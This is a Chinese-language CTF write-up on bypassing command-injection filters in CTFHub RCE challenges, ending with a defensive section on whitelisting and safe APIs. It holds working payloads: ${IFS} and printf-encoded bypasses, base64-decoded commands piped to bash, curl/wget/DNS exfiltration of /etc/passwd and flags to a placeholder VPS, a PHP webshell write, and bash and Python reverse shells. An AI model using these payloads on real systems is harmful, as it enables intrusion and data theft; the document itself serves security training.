CTFHub RCE绕过实战:从过滤探测到命令执行的全方位解析
1. 项目概述当RCE遇上“花式”过滤在CTFCapture The Flag的Web安全赛道上RCE远程代码/命令执行一直是检验选手综合渗透能力的关键题型。它不像SQL注入那样有固定的“万能钥匙”也不像XSS那样依赖用户交互RCE的核心魅力在于它直接考验你如何在一个看似被层层枷锁束缚的“命令执行点”上找到那条通往系统深处的隐秘小径。CTFHub作为国内知名的实战平台其RCE题目设计得尤为精妙常常在基础的命令注入漏洞之上叠加各种“花式”过滤规则比如过滤空格、过滤目录分隔符、过滤关键词等等。这些过滤规则就像是出题人精心布置的“谜面”。你明知道系统有个eval()或者system()函数在等着你输入但当你兴冲冲地敲入cat /flag时返回的却是一个冷冰冰的“非法字符”提示。这时候比赛才真正开始。解题的过程本质上是一场与WAFWeb应用防火墙或开发者自定义过滤逻辑的“智斗”。你需要像一位密码破译者不断尝试用系统允许的“字符集”去拼凑出那条被禁止的“命令”。我花了大量时间“泡”在CTFHub的RCE技能树里从最基础的命令注入到各种绕过姿势一个个关卡啃下来。我发现很多题目的难点并不在于发现漏洞本身漏洞点往往很明显而在于如何“优雅”地绕过那些过滤。这些绕过技巧绝非纸上谈兵它们源于对操作系统命令行、编程语言特性、字符编码乃至Web服务器解析过程的深刻理解。掌握它们不仅能让你在CTF赛场上披荆斩棘更能让你在真实的渗透测试或代码审计中一眼看穿那些看似牢固实则脆弱的防御逻辑。接下来我就结合几个典型的CTFHub题目复盘一下那些让我印象深刻的“骚操作”和背后的原理。2. 核心绕过思路全景解析面对一个存在命令注入点但被过滤的场景我们的攻击思路不能是线性的“输入命令-执行”而应该是“探测过滤规则-寻找等价替代-构造有效载荷-执行并回显”。整个流程是一个动态的、交互式的探测过程。2.1 第一步信息收集与过滤规则探测这是所有绕过的基石。盲目尝试只会触发警报或一无所获。我们需要系统地探测哪些字符、哪些命令、哪些语法被禁止。1. 基础字符探测通常我们会从一些常见的元字符开始测试观察系统的反应。命令分隔符;,,,|,||,\n换行符。例如输入127.0.0.1;ls如果返回了目录列表说明;未被过滤且命令注入存在。空格空格是命令参数分隔的关键。如果被过滤可以尝试${IFS}内部字段分隔符、$IFS$9、%09制表符URL编码、、、等。目录分隔符/Linux或\Windows。如果被过滤就需要用到我们后面详细讲的编码、变量替换或路径跳转。关键词cat,flag,ls,echo,php,system等。探测方法可以是输入部分关键词或者使用通配符*、?。2. 黑名单与白名单模式判断黑名单系统有一个“黑名单列表”名单内的字符或字符串被禁止。绕过思路是寻找不在名单上的等价物。例如过滤了cat但可能没过滤tac、more、less、head、tail甚至grep。白名单只允许通过特定模式的内容例如只允许数字和点IP地址格式。绕过难度通常更大可能需要利用白名单内的字符进行拼接或触发其他漏洞。实操心得探测时一定要有耐心并且最好使用Burp Suite的Intruder模块或自己写个小脚本进行批量测试。一次只改变一个变量清晰地记录下哪些payload成功哪些被拦截。成功的响应可能很隐蔽有时需要查看网页源代码CtrlU因为flag可能被注释掉了或者命令执行结果被放在了HTML标签的属性里。2.2 第二步命令执行与结果回显技巧即使成功注入了命令如何看到执行结果也是一个问题。常见的回显方式有直接输出命令执行结果直接显示在页面上。这是最理想的情况。盲注没有直接回显。这时需要利用外带OOB技术如curl、wget、ping将结果发送到我们控制的服务器或者利用时间盲注通过sleep命令的延迟来判断命令是否执行成功。报错回显通过故意制造错误让系统将信息包含在错误信息中返回。例如使用反引号 或$()执行命令如果命令不存在错误信息中可能会包含我们尝试执行的命令字符串。一个关键技巧使用curl外带数据假设我们能够执行命令但看不到回显并且服务器有curl命令。# 将 /etc/passwd 文件内容通过GET参数发送到我们的接收服务器 curl http://your-vps.com:8080/?datacat /etc/passwd | base64在我们的VPS上监听8080端口就能收到经过Base64编码的文件内容。Base64编码可以避免特殊字符在URL中传输出现问题。3. 经典过滤场景与实战绕过姿势下面我们进入实战环节拆解CTFHub中几种经典的过滤场景。我会以“过滤目录分隔符/”这一关作为主线并横向对比其他过滤方式让你一次性掌握多种“兵器”。3.1 场景一过滤目录分隔符/的三种解法这是CTFHub上一个非常经典的关卡。题目提供了一个ping功能源码中明确过滤了斜杠/目标是读取flag_is_here目录下的flag文件。这直接堵死了我们使用绝对路径如/flag_is_here/flag的可能性。方法1相对路径与目录跳转法最直观思路既然不能用/指定绝对路径我们就从当前目录出发使用相对路径和cd命令“走”到目标位置。探测当前目录127.0.0.1;ls。发现当前目录下有flag_is_here文件夹。进入子目录127.0.0.1;cd flag_is_here;ls。这里没有使用任何/cd flag_is_here表示进入当前目录下的flag_is_here文件夹。读取flag127.0.0.1;cd flag_is_here;cat flag_xxxxx.php。注意事项这种方法假设你对当前工作目录有清晰的认知。在Web应用中当前目录通常是Web根目录如/var/www/html。如果flag_is_here不在当前目录下你可能需要多次使用cd ..返回上级目录再寻找。它的优点是无需任何编码完全利用合法的命令行操作但前提是注入点允许执行多条命令用;或连接。方法2八进制/十六进制编码绕过最通用思路过滤逻辑通常是字符串匹配。如果代码里用strpos($_GET[ip], /) ! false来检测那么它只匹配字面上的/字符。我们可以让系统帮我们“生成”一个/。八进制在Linux的printf或echo命令中\57代表八进制数57对应的ASCII字符就是/。十六进制同样\x2f代表十六进制数2f也是/。构造Payload查看目录127.0.0.1;ls flag_is_here$(printf \57)读取文件127.0.0.1;cat flag_is_here$(printf \57)flag_xxxx.php或者用十六进制127.0.0.1;cat flag_is_here$(printf \x2f)flag_xxxx.php原理解析$(...)是命令替换语法。shell会先执行括号内的命令printf \57这个命令会输出一个字符/。然后shell将$(printf \57)的整体替换为它的输出结果/最后再执行整个拼接后的命令cat flag_is_here/flag_xxxx.php。因为参数ip的值里始终没有出现字面量的/只有\57或x2f所以成功绕过了过滤。方法3利用环境变量或通配符拓展思路在某些更宽松或不同配置的系统上还有更多玩法变量拼接Linux下有一些内置变量比如${HOME}是/root或/home/user。虽然它本身包含/但如果我们能控制变量名的一部分呢这需要更特殊的场景。通配符如果目标是读取一个文件名已知的文件但路径被过滤而当前目录又不对通配符可能帮不上忙。但在文件名未知时*就非常有用例如cat flag_is_here/*来读取目录下所有文件。但这里/依然被过滤。避坑技巧printf命令在某些极简的Docker环境或受限shell中可能不可用。可以尝试用echo命令的-e参数来解析转义字符如echo -e \x2f。但要注意echo -e的行为在不同shell中可能有差异printf通常是更标准的选择。3.2 场景二过滤空格空格过滤非常常见因为它是分隔命令和参数的关键。绕过方法的核心是找到能替代空格功能的字符或机制。1. 使用内部字段分隔符${IFS}IFS是Shell的一个特殊变量定义了用于单词分割的字符默认是空格、制表符、换行符。我们可以直接引用它。cat${IFS}/etc/passwdcat$IFS/etc/passwd(在某些环境下花括号可以省略)cat$IFS$9/etc/passwd($9指的是第9个参数通常为空这里利用它来隔开IFS和后面的路径避免被解析成变量IFS/etc)2. 使用重定向符号和用于从文件读取输入。虽然不能直接替代命令参数间的空格但可以用于读取文件。cat/etc/passwd(将/etc/passwd作为cat的输入)cat/etc/passwd(读写方式打开文件)3. 使用花括号{}扩展在无需空格分隔时{cat,/etc/passwd}在Shell中这会被扩展为两个独立的词cat和/etc/passwd相当于中间有了空格。但注意这要求花括号内的内容不能有空格且用逗号分隔。4. 利用Tab键的URL编码%09在HTTP请求中空格可以编码为%20Tab键可以编码为%09。如果过滤了空格但没过滤Tab可以尝试。127.0.0.1;cat%09/etc/passwd(在Burp中直接修改原始报文)实战组合拳 假设题目同时过滤了空格和/我们可以组合运用。 目标执行cat /flag_is_here/flag绕过127.0.0.1;cat${IFS}$(printf\x2f)flag_is_here$(printf\x2f)flag这里用${IFS}代替了cat和路径之间的空格用$(printf\x2f)代替了/。3.3 场景三过滤关键词如cat, flag, ls当系统过滤了cat、flag等关键词时我们需要寻找它们的“替身”。1. 命令替代读取文件tac反向cat、more、less、head、tail、nl、od、grep .匹配所有行。列出目录dir某些环境、echo *展开当前目录所有文件、find .查找。关于flag关键词如果过滤了flag这个字符串可以尝试用通配符*或?来匹配文件名例如cat /f*或cat /fl?g。或者如果知道flag文件的确切名字如flag.txt直接使用全名即可。2. 字符串拼接在Bash中字符串可以用多种方式拼接。直接拼接ac;bat; $a$b /etc/passwd变量a和b拼接后成为cat命令。利用反斜杠c\at /etc/passwd。反斜杠在shell中是转义字符但在这里它被忽略c\at依然被解析为cat。利用引号c”at” /etc/passwd或c’at’ /etc/passwd。引号内的字符被当作一个整体但引号本身在某些解析场景下可能被特殊处理。3. 编码与反转Base64编码echo ‘Y2F0IC9ldGMvcGFzc3dk’ | base64 -d | bash。这条命令先解码Y2F0IC9ldGMvcGFzc3dk即cat /etc/passwd的base64编码然后通过管道|交给bash执行。反转字符串先用其他方式生成反转的命令再用rev命令反转回来执行。这比较麻烦但在极端情况下可能有效。一个综合案例 假设过滤了cat和空格但允许反引号。 Payload127.0.0.1;aca;bt;$a$b${IFS}/etc/passwd或者127.0.0.1;echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash4. 高阶绕过与特殊技巧挖掘当基础绕过都被封堵时就需要一些更“骚”的操作了。这些技巧往往依赖于对特定语言环境、服务器配置或解析器特性的深入了解。4.1 利用通配符的妙用通配符*和?不仅能用于文件名匹配在命令注入中也能大放异彩尤其是在绕过关键词过滤和探索未知路径时。1. 路径探索与文件发现当你不确定flag文件的具体位置或名称时*是你的最佳伙伴。find / -name “*flag*” 2/dev/null在全盘查找包含“flag”的文件2/dev/null是为了过滤掉权限错误等噪音信息。ls -la /h*/*/*flag*尝试匹配/home/www/flag.txt这类路径。2. 代替被过滤的字符在某个著名的CTF题目中需要读取一个文件名包含flag的文件但flag这个词被过滤了。选手发现可以使用/???/???来匹配/bin/cat然后用/???/??? /?la?来匹配/bin/cat /flag。因为?代表任意单个字符*代表任意多个字符。这种利用方式需要对系统常用命令的路径和文件名长度有精确了解。3. 无字母数字的Web Shell进阶在PHP等语言的RCE中有时甚至需要构造无字母数字的代码执行。这通常利用的是PHP的字符串自增特性、位运算或特殊符号。例如通过$_[];$_$_.’’;等操作逐步构造出_GET等字符串最终实现代码执行。这已经超出了基础命令注入的范畴属于代码审计和利用的深水区。4.2 管道、重定向与命令分隔的玄机命令注入的本质是操控shell的解析过程。理解shell如何解析特殊字符是关键。1. 管道|与|||将前一个命令的输出作为后一个命令的输入。例如127.0.0.1 | ls这里ping命令的输出一堆ICMP回应会作为ls的输入这通常会导致ls执行但输出奇怪。更常见的用法是127.0.0.1; ls | grep flag用grep在结果中筛选。||逻辑或。只有当前一个命令执行失败返回非0状态码时才执行后一个命令。例如invalidcommand || ls如果invalidcommand不存在就会执行ls。这可以用于绕过某些简单的顺序执行检测。2. 重定向、、、2和除了用于写入文件还可以用来创建文件。例如127.0.0.1; echo ‘?php phpinfo();?’ shell.php写入一个Webshell。2将标准错误重定向。2/dev/null用于丢弃错误信息让输出更干净。在盲注中可以结合将标准输出和错误都重定向例如command /dev/null 21让命令静默执行。3. 反引号 与 $() 的优先级命令替换$(...)和反引号...拥有很高的执行优先级。这意味着即使它们被放在字符串中shell也会先执行它们。这常常被用于嵌套构造复杂的payload。例如过滤了cat但没过滤echo和base64可以这样127.0.0.1; echo $(echo Y2F0IGZsYWc | base64 -d)。内层的echo和base64 -d先执行解码出cat flag然后外层的echo试图执行它但echo只是打印不会执行命令。这里需要换成eval或bash才行这引出了下一点。4.3 编码、加密与外部资源利用当所有直接执行命令的通道都被堵死最后的希望可能就是“借力打力”。1. Base64编码绕过如前所述这是非常有效的一招。核心是将恶意命令编码然后通过管道传递给base64 -d解码再交给shell执行。# 在攻击机上准备payload echo ‘cat /etc/passwd’ | base64 # 得到 Y2F0IC9ldGMvcGFzc3dkCg # 在注入点执行 127.0.0.1; echo Y2F0IC9ldGMvcGFzc3dkCg | base64 -d | bash如果bash被过滤可以尝试sh、zsh、ksh甚至python -c ‘import os; os.system(“cat /etc/passwd”)’。2. 利用DNS、HTTP等协议外带数据OOB这是解决盲注的终极方案之一。如果命令执行了但没有任何回显你可以让目标服务器主动连接你的服务器并把数据带出来。DNS外带nslookup $(whoami).your-domain.com。你的DNS服务器会收到一个对root.your-domain.com或www-data.your-domain.com的查询从而得知当前用户名。这通常需要你拥有一个域名并配置DNS日志记录。HTTP外带使用curl或wget是最直接的。curl http://your-vps.com:8888/$(cat /flag | base64 | tr -d ‘\n’) # 或者用wget wget http://your-vps.com:8888/$(cat /flag)在你的VPS上使用nc -lvp 8888监听就能看到携带flag的HTTP请求。3. 时间盲注如果连外带都不行目标没装curl、wget且出网被限制时间盲注是最后的手段。通过命令执行的时间延迟来判断布尔条件。127.0.0.1; sleep 5如果页面5秒后才响应说明sleep命令执行了。结合条件判断127.0.0.1; if [ -f /flag ]; then sleep 5; fi。如果flag文件存在则睡眠5秒。通过测量响应时间可以推断文件是否存在。这需要编写自动化脚本进行逐位判断过程缓慢但有效。5. 防御视角与实战排查指南作为攻击者我们钻研绕过技巧但作为开发者或安全人员我们必须知道如何防御。从这些绕中学到的正是加固我们自身系统的宝贵经验。5.1 命令注入的根源与防御原则命令注入的根本原因是将不可信的用户输入未经充分净化就直接拼接到了系统命令中。防御的核心原则就是“数据与代码分离”。1. 白名单优于黑名单不要试图过滤所有“坏”的字符黑名单因为你永远无法穷尽所有绕过方式空格可以用${IFS}代替cat可以用tac代替。应该定义什么是“好”的输入白名单。对于ping功能输入应该严格匹配IP地址格式四段数字加点。使用正则表达式进行严格校验if (!preg_match(‘/^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/’, $ip)) { die(“Invalid IP address”); }2. 使用安全的API代替命令执行这是最根本的解决方案。如果可能完全避免使用system()、exec()、shell_exec()、passthru()、反引号等函数。需要ping使用PHP的socket相关函数或专门的网络库。需要操作文件使用PHP内置的文件函数file_get_contents、fopen等而不是cat、ls。需要调用系统功能考虑是否可以用更安全、更可控的语言内置函数或库来实现。3. 如果必须执行命令转义与参数化如果确实无法避免例如需要调用一个特定的外部工具那么使用escapeshellarg()或escapeshellcmd()函数PHP。escapeshellarg()会给参数加上单引号并转义其中的单引号确保用户输入始终被当作一个完整的字符串参数。escapeshellcmd()会转义对shell有特殊意义的字符。// 正确做法 $safe_ip escapeshellarg($_GET[‘ip’]); system(“ping -c 4 “ . $safe_ip); // 即使用户输入 127.0.0.1; ls实际执行的命令会是 ping -c 4 ‘127.0.0.1; ls’ls不会被当作单独命令执行。使用参数化调用如Python的subprocess.runwithargslistimport subprocess # 错误做法 subprocess.run(f”ping -c 4 {user_input}“, shellTrue) # 正确做法 subprocess.run([“ping”, “-c”, “4”, user_input]) # 即使user_input包含特殊字符它也只是ping命令的第四个参数的一部分。5.2 实战渗透中的排查清单当你面对一个疑似命令注入的点时可以按照以下清单进行系统化的测试初步探测输入127.0.0.1、localhost等正常值观察功能是否正常。输入127.0.0.1; echo ‘test’看页面是否出现test字样。分隔符测试依次尝试;、、、|、||、\n换行符在Burp中直接换行或输入%0a。空格绕过测试如果空格被过滤尝试${IFS}、$IFS$9、%09、、{cat,/etc/passwd}。命令回显测试注入whoami、id、pwd、ls等简单命令查看结果输出位置页面直接显示、源码中、报错信息中。盲注探测如果无回显尝试时间盲注sleep 5观察响应延迟。尝试OOB用ping或curl测试目标是否出网。层层突破绕过关键词如果cat被过滤尝试tac、more、less、head、tail、nl、od -c、grep .。绕过路径分隔符如果/被过滤尝试$(printf “\57”)、$(printf “\x2f”)、cd跳转、使用环境变量如${HOME:0:1}可能得到/。编码绕过尝试Base64编码命令后解码执行。通配符利用使用*和?匹配文件和命令。权限提升与信息收集一旦能执行命令立即收集信息uname -a系统内核cat /etc/passwd用户列表find / -perm -4000 2/dev/nullSUID文件提权可能env环境变量ps aux进程列表。稳定Shell获取如果可能尝试用nc、bash、python、php等反弹一个稳定的shell回来方便后续操作。# 在攻击机监听 4444 端口 nc -lvp 4444 # 在目标注入点执行 bash -c ‘bash -i /dev/tcp/your-vps-ip/4444 01’ # 或使用python python -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“your-vps-ip”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’5.3 我踩过的那些“坑”与心得最后分享几点在实战和CTF中总结出来的血泪教训永远不要相信前端的过滤前端JavaScript做的输入校验按F12改个值就绕过了。真正的安全校验必须在服务器端进行。注意命令执行的上下文环境你注入的命令是在什么用户权限下执行的是www-data、nobody还是root这直接决定了你能做什么。www-data用户通常权限很低读不了/etc/shadow。善用time命令判断盲注如果你怀疑是时间盲注但又不太确定网络延迟可以在命令前后加上time命令或者多次请求取平均时间减少误判。Windows与Linux的差异如果目标服务器是Windows绕过思路完全不同。/换成\空格绕过可以用%ProgramFiles%这类环境变量命令分隔符是、、|、||换行是%0d%0a。type代替catdir代替ls。WAF的干扰真实的网站可能有云WAF。你的payload可能被WAF拦截而不是被应用本身的代码过滤。这时需要研究WAF的绕过技巧比如大小写混淆、插入多余字符、使用注释分割关键词等。例如cAt、c/**/at在SQL注入中常见但在命令注入中不一定有效取决于解析器。保持工具更新与思维发散工具如Burp Suite、sqlmap其--os-shell功能有时能自动绕过一些过滤很好用但绝不能替代手动思考和理解。多看看别人的Writeup解题报告了解不同的解题思路往往能打开新世界的大门。CTF中的RCE绕过就像一场有趣的解密游戏。每一道过滤规则都是一个谜题而你的知识库就是解开谜题的钥匙。通过不断地练习、复盘和思考这些绕过技巧会内化成你的本能反应让你在面对真实世界的安全挑战时也能游刃有余。记住安全的本质是攻防的持续对抗今天你学会的绕过姿势明天就应该成为你代码中的防御壁垒。